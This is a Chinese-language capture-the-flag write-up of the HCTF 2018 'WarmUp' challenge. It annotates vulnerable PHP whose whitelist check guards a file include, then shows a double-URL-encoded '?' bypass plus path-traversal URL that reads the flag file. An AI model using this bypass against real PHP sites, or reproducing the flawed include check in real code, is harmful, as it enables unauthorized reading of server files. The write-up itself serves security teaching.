1. 程式人生 > 實用技巧 >CTF程式碼審計之[HCTF 2018]WarmUp

CTF程式碼審計之[HCTF 2018]WarmUp

[HCTF 2018]WarmUp

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                
return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) {
return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

一、在 hint.php 中我們可以知道 flag 在 ffffllllaaaagggg

二、審計下面一部分程式碼

 if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])  //$_REQUEST['file']值為字串
        && emmm::checkFile($_REQUEST['file'])  //能夠通過checkFile函式校驗
    ) {
        include $_REQUEST['file'];  //包含$_REQUEST['file']檔案
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        //列印滑稽表情
    }  

可以知道要求傳入的 file變數的值需要滿足:非空,字串,能通過 checkFile()函式

上面的checkFile函式有四個檢測

    highlight_file(__FILE__); //列印程式碼
    class emmm  //定義emmm類
    {
        public static function checkFile(&$page)//將傳入的引數賦給$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//宣告$whitelist(白名單)陣列
            if (! isset($page) || !is_string($page)) {//若$page變數不存在或非字串
                echo "you can't see it";//列印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page變數存在於$whitelist陣列中
                return true;//返回true
            }

            $_page = mb_substr(//該程式碼表示擷取$page中'?'前部分,若無則擷取整個$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解碼$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

分別表示 判斷是否為字串 ,判斷$page是否在$whitelist陣列中 ,擷取$page中'?'前一部分判斷是否$whitelist陣列中 ,判斷url解碼並擷取後的$page是否存在於$whitelist中

在第四個if語句中,我們可以通過先對?進行2次url編碼,此時服務端解碼一次,checkFile函式解碼一次,結果仍是'?',可以繞過

構造url:http://7e76bca4-7e05-434e-943d-daedb85da0a6.node3.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

得到flag

摘自: https://www.jianshu.com/p/36eaa95068ca